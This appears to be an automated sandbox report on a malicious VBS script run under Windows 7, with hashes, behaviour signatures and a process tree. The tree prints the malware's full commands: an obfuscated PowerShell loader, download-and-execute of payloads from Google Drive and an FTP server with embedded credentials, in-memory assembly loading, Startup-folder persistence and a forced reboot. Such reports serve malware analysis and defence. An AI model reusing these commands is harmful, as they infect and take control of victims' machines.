Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    18-09-2024 13:46

General

  • Target

    SKMBT88122024816310TD01202817311 .vbs

  • Size

    682KB

  • MD5

    0044397fe549d182b1bfd55fd76e75eb

  • SHA1

    3fa8cc3ec14dd1fff24affc7f2c19c9c92e4b663

  • SHA256

    d81847976ea210269bf3c98c5b32d40ed9daf78dbb1a9ce638ac472e501647d2

  • SHA512

    60f020faa2865f8086b36f82f6550179f8b442c5455fdd594fc7bd19e5ad9fe70bd023dac62724148747518e3123cdaf3a6ec986af6862543092796b2d984089

  • SSDEEP

    1536:9SSSSSSSSSSSSSSSSSSSSSSSx222222222222222222222222222222222222229:d1n/DSw8ccar2

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

  • Drops startup file 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SKMBT88122024816310TD01202817311 .vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9Ќз革DsЌз革KQЌз革gЌз革CkЌз革IЌз革Ќз革nЌз革GUЌз革dQByЌз革HQЌз革JwЌз革gЌз革CwЌз革IЌз革BlЌз革GoЌз革dwB6Ќз革GgЌз革JЌз革Ќз革gЌз革CwЌз革IЌз革Ќз革nЌз革GgЌз革dЌз革B0Ќз革HЌз革Ќз革cwЌз革6Ќз革C8Ќз革LwBrЌз革G8Ќз革bgBlЌз革HQЌз革bwB1Ќз革C0Ќз革ZQBtЌз革GEЌз革cgBrЌз革GUЌз革dЌз革BpЌз革G4Ќз革ZwЌз革uЌз革GMЌз革bwBtЌз革C8Ќз革egBzЌз革C4Ќз革dЌз革B4Ќз革HQЌз革JwЌз革gЌз革CgЌз革IЌз革BdЌз革F0Ќз革WwB0Ќз革GMЌз革ZQBqЌз革GIЌз革bwBbЌз革CЌз革Ќз革LЌз革Ќз革gЌз革GwЌз革bЌз革B1Ќз革G4Ќз革JЌз革Ќз革gЌз革CgЌз革ZQBrЌз革G8Ќз革dgBuЌз革EkЌз革LgЌз革pЌз革CЌз革Ќз革JwBJЌз革FYЌз革RgByЌз革HЌз革Ќз革JwЌз革gЌз革CgЌз革ZЌз革BvЌз革GgЌз革dЌз革BlЌз革E0Ќз革dЌз革BlЌз革EcЌз革LgЌз革pЌз革CcЌз革MQBzЌз革HMЌз革YQBsЌз革EMЌз革LgЌз革zЌз革HkЌз革cgBhЌз革HIЌз革YgBpЌз革EwЌз革cwBzЌз革GEЌз革bЌз革BDЌз革CcЌз革KЌз革BlЌз革HЌз革Ќз革eQBUЌз革HQЌз革ZQBHЌз革C4Ќз革KQЌз革gЌз革FoЌз革YwBCЌз革GMЌз革YQЌз革kЌз革CЌз革Ќз革KЌз革BkЌз革GEЌз革bwBMЌз革C4Ќз革bgBpЌз革GEЌз革bQBvЌз革EQЌз革dЌз革BuЌз革GUЌз革cgByЌз革HUЌз革QwЌз革6Ќз革DoЌз革XQBuЌз革GkЌз革YQBtЌз革G8Ќз革RЌз革BwЌз革HЌз革Ќз革QQЌз革uЌз革G0Ќз革ZQB0Ќз革HMЌз革eQBTЌз革FsЌз革OwЌз革pЌз革CЌз革Ќз革KQЌз革gЌз革CcЌз革QQЌз革nЌз革CЌз革Ќз革LЌз革Ќз革gЌз革CcЌз革kyE6Ќз革JMhJwЌз革gЌз革CgЌз革ZQBjЌз革GEЌз革bЌз革BwЌз革GUЌз革UgЌз革uЌз革GcЌз革UwB6Ќз革EMЌз革QgBsЌз革CQЌз革IЌз革Ќз革oЌз革GcЌз革bgBpЌз革HIЌз革dЌз革BTЌз革DQЌз革NgBlЌз革HMЌз革YQBCЌз革G0Ќз革bwByЌз革EYЌз革OgЌз革6Ќз革F0Ќз革dЌз革ByЌз革GUЌз革dgBuЌз革G8Ќз革QwЌз革uЌз革G0Ќз革ZQB0Ќз革HMЌз革eQBTЌз革FsЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革WgBjЌз革EIЌз革YwBhЌз革CQЌз革IЌз革BdЌз革F0Ќз革WwBlЌз革HQЌз革eQBCЌз革FsЌз革OwЌз革nЌз革CUЌз革SQBoЌз革HEЌз革UgBYЌз革CUЌз革JwЌз革gЌз革D0Ќз革IЌз革BlЌз革GoЌз革dwB6Ќз革GgЌз革JЌз革Ќз革7Ќз革CkЌз革IЌз革BnЌз革FMЌз革egBDЌз革EIЌз革bЌз革Ќз革kЌз革CЌз革Ќз革KЌз革BnЌз革G4Ќз革aQByЌз革HQЌз革UwBkЌз革GEЌз革bwBsЌз革G4Ќз革dwBvЌз革EQЌз革LgB4Ќз革GoЌз革cЌз革BzЌз革CQЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革ZwBTЌз革HoЌз革QwBCЌз革GwЌз革JЌз革Ќз革7Ќз革DgЌз革RgBUЌз革FUЌз革OgЌз革6Ќз革F0Ќз革ZwBuЌз革GkЌз革ZЌз革BvЌз革GMЌз革bgBFЌз革C4Ќз革dЌз革B4Ќз革GUЌз革VЌз革Ќз革uЌз革G0Ќз革ZQB0Ќз革HMЌз革eQBTЌз革FsЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革ZwBuЌз革GkЌз革ZЌз革BvЌз革GMЌз革bgBFЌз革C4Ќз革eЌз革BqЌз革HЌз革Ќз革cwЌз革kЌз革DsЌз革KQB0Ќз革G4Ќз革ZQBpЌз革GwЌз革QwBiЌз革GUЌз革VwЌз革uЌз革HQЌз革ZQBOЌз革CЌз革Ќз革dЌз革BjЌз革GUЌз革agBiЌз革E8Ќз革LQB3Ќз革GUЌз革TgЌз革oЌз革CЌз革Ќз革PQЌз革gЌз革HgЌз革agBwЌз革HMЌз革JЌз革Ќз革7Ќз革CkЌз革KЌз革BlЌз革HMЌз革bwBwЌз革HMЌз革aQBkЌз革C4Ќз革eЌз革BqЌз革HЌз革Ќз革cwЌз革kЌз革DsЌз革KQЌз革gЌз革CcЌз革dЌз革B4Ќз革HQЌз革LgЌз革xЌз革DЌз革Ќз革TЌз革BMЌз革EQЌз革LwЌз革xЌз革DЌз革Ќз革LwByЌз革GUЌз革dЌз革BwЌз革HkЌз革cgBjЌз革HЌз革Ќз革VQЌз革vЌз革HIЌз革YgЌз革uЌз革G0Ќз革bwBjЌз革C4Ќз革dЌз革BhЌз革HIЌз革YgB2Ќз革GsЌз革YwBzЌз革GUЌз革ZЌз革Ќз革uЌз革HЌз革Ќз革dЌз革BmЌз革EЌз革Ќз革MQB0Ќз革GEЌз革cgBiЌз革HYЌз革awBjЌз革HMЌз革ZQBkЌз革C8Ќз革LwЌз革6Ќз革HЌз革Ќз革dЌз革BmЌз革CcЌз革IЌз革Ќз革oЌз革GcЌз革bgBpЌз革HIЌз革dЌз革BTЌз革GQЌз革YQBvЌз革GwЌз革bgB3Ќз革G8Ќз革RЌз革Ќз革uЌз革HgЌз革agBwЌз革HMЌз革JЌз革Ќз革gЌз革D0Ќз革IЌз革BnЌз革FMЌз革egBDЌз革EIЌз革bЌз革Ќз革kЌз革DsЌз革KQЌз革nЌз革EЌз革Ќз革QЌз革BwЌз革EoЌз革OЌз革Ќз革3Ќз革DUЌз革MQЌз革yЌз革G8Ќз革cgBwЌз革HIЌз革ZQBwЌз革G8Ќз革bЌз革BlЌз革HYЌз革ZQBkЌз革CcЌз革LЌз革Ќз革pЌз革CkЌз革OQЌз革0Ќз革CwЌз革NgЌз革xЌз革DEЌз革LЌз革Ќз革3Ќз革DkЌз革LЌз革Ќз革0Ќз革DEЌз革MQЌз革sЌз革DgЌз革OQЌз革sЌз革DgЌз革MQЌз革xЌз革CwЌз革NwЌз革wЌз革DEЌз革LЌз革Ќз革5Ќз革DkЌз革LЌз革Ќз革1Ќз革DEЌз革MQЌз革sЌз革DEЌз革MЌз革Ќз革xЌз革CwЌз革MЌз革Ќз革wЌз革DEЌз革KЌз革BdЌз革F0Ќз革WwByЌз革GEЌз革aЌз革BjЌз革FsЌз革IЌз革BuЌз革GkЌз革bwBqЌз革C0Ќз革KЌз革Ќз革oЌз革GwЌз革YQBpЌз革HQЌз革bgBlЌз革GQЌз革ZQByЌз革EMЌз革awByЌз革G8Ќз革dwB0Ќз革GUЌз革TgЌз革uЌз革HQЌз革ZQBOЌз革C4Ќз革bQBlЌз革HQЌз革cwB5Ќз革FMЌз革IЌз革B0Ќз革GMЌз革ZQBqЌз革GIЌз革bwЌз革tЌз革HcЌз革ZQBuЌз革CЌз革Ќз革PQЌз革gЌз革HMЌз革bЌз革BhЌз革GkЌз革dЌз革BuЌз革GUЌз革ZЌз革BlЌз革HIЌз革QwЌз革uЌз革HgЌз革agBwЌз革HMЌз革JЌз革Ќз革7Ќз革DgЌз革RgBUЌз革FUЌз革OgЌз革6Ќз革F0Ќз革ZwBuЌз革GkЌз革ZЌз革BvЌз革GMЌз革bgBFЌз革C4Ќз革dЌз革B4Ќз革GUЌз革VЌз革Ќз革uЌз革G0Ќз革ZQB0Ќз革HMЌз革eQBTЌз革FsЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革ZwBuЌз革GkЌз革ZЌз革BvЌз革GMЌз革bgBFЌз革C4Ќз革eЌз革BqЌз革HЌз革Ќз革cwЌз革kЌз革DsЌз革KQB0Ќз革G4Ќз革ZQBpЌз革GwЌз革QwBiЌз革GUЌз革VwЌз革uЌз革HQЌз革ZQBOЌз革CЌз革Ќз革dЌз革BjЌз革GUЌз革agBiЌз革E8Ќз革LQB3Ќз革GUЌз革TgЌз革oЌз革CЌз革Ќз革PQЌз革gЌз革HgЌз革agBwЌз革HMЌз革JЌз革Ќз革7Ќз革GcЌз革UwB6Ќз革EMЌз革QgBsЌз革CQЌз革OwЌз革yЌз革DEЌз革cwBsЌз革FQЌз革OgЌз革6Ќз革F0Ќз革ZQBwЌз革HkЌз革VЌз革BsЌз革G8Ќз革YwBvЌз革HQЌз革bwByЌз革FЌз革Ќз革eQB0Ќз革GkЌз革cgB1Ќз革GMЌз革ZQBTЌз革C4Ќз革dЌз革BlЌз革E4Ќз革LgBtЌз革GUЌз革dЌз革BzЌз革HkЌз革UwBbЌз革CЌз革Ќз革PQЌз革gЌз革GwЌз革bwBjЌз革G8Ќз革dЌз革BvЌз革HIЌз革UЌз革B5Ќз革HQЌз革aQByЌз革HUЌз革YwBlЌз革FMЌз革OgЌз革6Ќз革F0Ќз革cgBlЌз革GcЌз革YQBuЌз革GEЌз革TQB0Ќз革G4Ќз革aQBvЌз革FЌз革Ќз革ZQBjЌз革GkЌз革dgByЌз革GUЌз革UwЌз革uЌз革HQЌз革ZQBOЌз革C4Ќз革bQBlЌз革HQЌз革cwB5Ќз革FMЌз革WwЌз革7Ќз革H0Ќз革ZQB1Ќз革HIЌз革dЌз革Ќз革kЌз革HsЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革awBjЌз革GEЌз革YgBsЌз革GwЌз革YQBDЌз革G4Ќз革bwBpЌз革HQЌз革YQBkЌз革GkЌз革bЌз革BhЌз革FYЌз革ZQB0Ќз革GEЌз革YwBpЌз革GYЌз革aQB0Ќз革HIЌз革ZQBDЌз革HIЌз革ZQB2Ќз革HIЌз革ZQBTЌз革DoЌз革OgBdЌз革HIЌз革ZQBnЌз革GEЌз革bgBhЌз革E0Ќз革dЌз革BuЌз革GkЌз革bwBQЌз革GUЌз革YwBpЌз革HYЌз革cgBlЌз革FMЌз革LgB0Ќз革GUЌз革TgЌз革uЌз革G0Ќз革ZQB0Ќз革HMЌз革eQBTЌз革FsЌз革ewЌз革gЌз革GUЌз革cwBsЌз革GUЌз革fQЌз革gЌз革GYЌз革LwЌз革gЌз革DЌз革Ќз革IЌз革B0Ќз革C8Ќз革IЌз革ByЌз革C8Ќз革IЌз革BlЌз革HgЌз革ZQЌз革uЌз革G4Ќз革dwBvЌз革GQЌз革dЌз革B1Ќз革GgЌз革cwЌз革gЌз革DsЌз革JwЌз革wЌз革DgЌз革MQЌз革gЌз革HЌз革Ќз革ZQBlЌз革GwЌз革cwЌз革nЌз革CЌз革Ќз革ZЌз革BuЌз革GEЌз革bQBtЌз革G8Ќз革YwЌз革tЌз革CЌз革Ќз革ZQB4Ќз革GUЌз革LgBsЌз革GwЌз革ZQBoЌз革HMЌз革cgBlЌз革HcЌз革bwBwЌз革DsЌз革IЌз革BlЌз革GMЌз革cgBvЌз革GYЌз革LQЌз革gЌз革CkЌз革IЌз革Ќз革nЌз革HЌз革Ќз革dQB0Ќз革HIЌз革YQB0Ќз革FMЌз革XЌз革BzЌз革G0Ќз革YQByЌз革GcЌз革bwByЌз革FЌз革Ќз革XЌз革B1Ќз革G4Ќз革ZQBNЌз革CЌз革Ќз革dЌз革ByЌз革GEЌз革dЌз革BTЌз革FwЌз革cwB3Ќз革G8Ќз革ZЌз革BuЌз革GkЌз革VwBcЌз革HQЌз革ZgBvЌз革HMЌз革bwByЌз革GMЌз革aQBNЌз革FwЌз革ZwBuЌз革GkЌз革bQBhЌз革G8Ќз革UgBcЌз革GEЌз革dЌз革BhЌз革EQЌз革cЌз革BwЌз革EEЌз革XЌз革Ќз革nЌз革CЌз革Ќз革KwЌз革gЌз革EYЌз革RwByЌз革FUЌз革QQЌз革kЌз革CЌз革Ќз革KЌз革Ќз革gЌз革G4Ќз革bwBpЌз革HQЌз革YQBuЌз革GkЌз革dЌз革BzЌз革GUЌз革RЌз革Ќз革tЌз革CЌз革Ќз革JwЌз革lЌз革EkЌз革aЌз革BxЌз革FIЌз革WЌз革Ќз革lЌз革CcЌз革IЌз革BtЌз革GUЌз革dЌз革BJЌз革C0Ќз革eQBwЌз革G8Ќз革QwЌз革gЌз革DsЌз革IЌз革B0Ќз革HIЌз革YQB0Ќз革HMЌз革ZQByЌз革G8Ќз革bgЌз革vЌз革CЌз革Ќз革dЌз革BlЌз革GkЌз革dQBxЌз革C8Ќз革IЌз革BRЌз革EEЌз革agB6Ќз革EkЌз革IЌз革BlЌз革HgЌз革ZQЌз革uЌз革GEЌз革cwB1Ќз革HcЌз革IЌз革BlЌз革HgЌз革ZQЌз革uЌз革GwЌз革bЌз革BlЌз革GgЌз革cwByЌз革GUЌз革dwBvЌз革HЌз革Ќз革IЌз革Ќз革7Ќз革CkЌз革JwB1Ќз革HMЌз革bQЌз革uЌз革G4Ќз革aQB3Ќз革HЌз革Ќз革VQBcЌз革CcЌз革IЌз革Ќз革rЌз革CЌз革Ќз革ZЌз革BJЌз革FIЌз革aQBNЌз革CQЌз革KЌз革Ќз革gЌз革D0Ќз革IЌз革BRЌз革EEЌз革agB6Ќз革EkЌз革OwЌз革pЌз革CЌз革Ќз革ZQBtЌз革GEЌз革TgByЌз革GUЌз革cwBVЌз革DoЌз革OgBdЌз革HQЌз革bgBlЌз革G0Ќз革bgBvЌз革HIЌз革aQB2Ќз革G4Ќз革RQBbЌз革CЌз革Ќз革KwЌз革gЌз革CcЌз革XЌз革BzЌз革HIЌз革ZQBzЌз革FUЌз革XЌз革Ќз革6Ќз革EMЌз革JwЌз革oЌз革CЌз革Ќз革PQЌз革gЌз革EYЌз革RwByЌз革FUЌз革QQЌз革kЌз革DsЌз革KQЌз革nЌз革HUЌз革cwBtЌз革C4Ќз革bgBpЌз革HcЌз革cЌз革BVЌз革FwЌз革JwЌз革gЌз革CsЌз革IЌз革BkЌз革EkЌз革UgBpЌз革E0Ќз革JЌз革Ќз革gЌз革CwЌз革QgBLЌз革EwЌз革UgBVЌз革CQЌз革KЌз革BlЌз革GwЌз革aQBGЌз革GQЌз革YQBvЌз革GwЌз革bgB3Ќз革G8Ќз革RЌз革Ќз革uЌз革HgЌз革aЌз革BKЌз革EgЌз革eQЌз革kЌз革DsЌз革OЌз革BGЌз革FQЌз革VQЌз革6Ќз革DoЌз革XQBnЌз革G4Ќз革aQBkЌз革G8Ќз革YwBuЌз革EUЌз革LgB0Ќз革HgЌз革ZQBUЌз革C4Ќз革bQBlЌз革HQЌз革cwB5Ќз革FMЌз革WwЌз革gЌз革D0Ќз革IЌз革BnЌз革G4Ќз革aQBkЌз革G8Ќз革YwBuЌз革EUЌз革LgB4Ќз革GgЌз革SgBIЌз革HkЌз革JЌз革Ќз革7Ќз革CkЌз革dЌз革BuЌз革GUЌз革aQBsЌз革EMЌз革YgBlЌз革FcЌз革LgB0Ќз革GUЌз革TgЌз革gЌз革HQЌз革YwBlЌз革GoЌз革YgBPЌз革C0Ќз革dwBlЌз革E4Ќз革KЌз革Ќз革gЌз革D0Ќз革IЌз革B4Ќз革GgЌз革SgBIЌз革HkЌз革JЌз革Ќз革7Ќз革H0Ќз革OwЌз革gЌз革CkЌз革JwB0Ќз革E8Ќз革TЌз革BjЌз革F8Ќз革SwBhЌз革DMЌз革WgBmЌз革G8Ќз革WЌз革Ќз革yЌз革EoЌз革SgByЌз革FYЌз革aЌз革BtЌз革FYЌз革OQBjЌз革G0Ќз革OQBYЌз革HMЌз革dQBYЌз革G0Ќз革agЌз革xЌз革GcЌз革MQЌз革nЌз革CЌз革Ќз革KwЌз革gЌз革EYЌз革YQBFЌз革FkЌз革UgЌз革kЌз革CgЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革RgBhЌз革EUЌз革WQBSЌз革CQЌз革ewЌз革gЌз革GUЌз革cwBsЌз革GUЌз革fQЌз革7Ќз革CЌз革Ќз革KQЌз革nЌз革DIЌз革NЌз革B1Ќз革FgЌз革SgBUЌз革HEЌз革YQBtЌз革GcЌз革eQBNЌз革HQЌз革RgB6Ќз革GEЌз革awBQЌз革FIЌз革MQBxЌз革F8Ќз革SQB2Ќз革EcЌз革aQBYЌз革E4Ќз革ZЌз革BxЌз革GEЌз革TgЌз革xЌз革CcЌз革IЌз革Ќз革rЌз革CЌз革Ќз革RgBhЌз革EUЌз革WQBSЌз革CQЌз革KЌз革Ќз革gЌз革D0AIABGAGEARQBZAFIAJAB7ACAAKQAgAFcAaQBpAEIAcwAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcwBuAGkAYQB0AG4AbwBDAC4ARQBSAFUAVABDAEUAVABJAEgAQwBSAEEAXwBSAE8AUwBTAEUAQwBPAFIAUAA6AHYAbgBlACQAIAA9ACAAVwBpAGkAQgBzACQAOwAnAD0AZABpACYAZABhAG8AbABuAHcAbwBkAD0AdAByAG8AcAB4AGUAPwBjAHUALwBtAG8AYwAuAGUAbABnAG8AbwBnAC4AZQB2AGkAcgBkAC8ALwA6AHMAcAB0AHQAaAAnACAAPQAgAEYAYQBFAFkAUgAkADsAKQAgACcAdQBzAG0ALgBuAGkAdwBwAFUAXAAnACAAKwAgAGQASQBSAGkATQAkACAAKAAgAGwAZQBkADsAKQAoAGgAdABhAFAAcABtAGUAVAB0AGUARwA6ADoAXQBoAHQAYQBQAC4ATwBJAC4AbQBlAHQAcwB5AFMAWwAgAD0AIABkAEkAUgBpAE0AJAB7ACAAKQAgAEYAZABNAFEAVAAkACAAKAAgAGYAaQA7ACAAKQAyACgAcwBsAGEAdQBxAEUALgByAG8AagBhAE0ALgBuAG8AaQBzAHIAZQBWAC4AdABzAG8AaAAkACAAPQAgAEYAZABNAFEAVAAkACAAOwA=';$nQCfu = $qKKzc.replace('Ќз革' , 'A') ;$IedxR = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $nQCfu ) ); $IedxR = $IedxR[-1..-$IedxR.Length] -join '';$IedxR = $IedxR.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\SKMBT88122024816310TD01202817311 .vbs');powershell $IedxR
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2720
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $TQMdF = $host.Version.Major.Equals(2) ;if ( $TQMdF ) {$MiRId = [System.IO.Path]::GetTempPath();del ( $MiRId + '\Upwin.msu' );$RYEaF = 'https://drive.google.com/uc?export=download&id=';$sBiiW = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $sBiiW ) {$RYEaF = ($RYEaF + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$RYEaF = ($RYEaF + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yHJhx = (New-Object Net.WebClient);$yHJhx.Encoding = [System.Text.Encoding]::UTF8;$yHJhx.DownloadFile($URLKB, $MiRId + '\Upwin.msu');$AUrGF = ('C:\Users\' + [Environment]::UserName );IzjAQ = ($MiRId + '\Upwin.msu'); powershell.exe wusa.exe IzjAQ /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\SKMBT88122024816310TD01202817311 .vbs' -Destination ( $AUrGF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$spjx = (New-Object Net.WebClient);$spjx.Encoding = [System.Text.Encoding]::UTF8;$spjx.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $spjx.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$spjx.dispose();$spjx = (New-Object Net.WebClient);$spjx.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $spjx.DownloadString( $lBCzSg );$hzwje = 'C:\Users\Admin\AppData\Local\Temp\SKMBT88122024816310TD01202817311 .vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.sz/moc.gnitekrame-uotenok//:sptth' , $hzwje , 'true' ) );};"
        3⤵
        • Drops startup file
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2688
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe IzjAQ /quiet /norestart
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2736
          • C:\Windows\system32\wusa.exe
            "C:\Windows\system32\wusa.exe" IzjAQ /quiet /norestart
            5⤵
            • Drops file in Windows directory
            PID:2600
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1592

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    fa8235c1f3ba970dd8debfa243633172

    SHA1

    7dd91ba3037f435d4b22111e6e6b83b63251a356

    SHA256

    314a54d1cfb1beb17c445b8858adc8e9832bcfb0ca072682f39aa6d35ddba4c0

    SHA512

    b4b82ae90ea51dccb22e22698de806fd817742971b2715209cea485fdf54d88167a49801cb586313f74ed73af225de12f2f1d06d4578ff470dfa14de2b5c99e3

  • memory/2720-4-0x000007FEF646E000-0x000007FEF646F000-memory.dmp

    Filesize

    4KB

  • memory/2720-7-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

    Filesize

    9.6MB

  • memory/2720-6-0x0000000001D90000-0x0000000001D98000-memory.dmp

    Filesize

    32KB

  • memory/2720-5-0x000000001B750000-0x000000001BA32000-memory.dmp

    Filesize

    2.9MB

  • memory/2720-8-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

    Filesize

    9.6MB

  • memory/2720-9-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

    Filesize

    9.6MB

  • memory/2720-10-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

    Filesize

    9.6MB

  • memory/2720-28-0x000007FEF646E000-0x000007FEF646F000-memory.dmp

    Filesize

    4KB

  • memory/2720-29-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

    Filesize

    9.6MB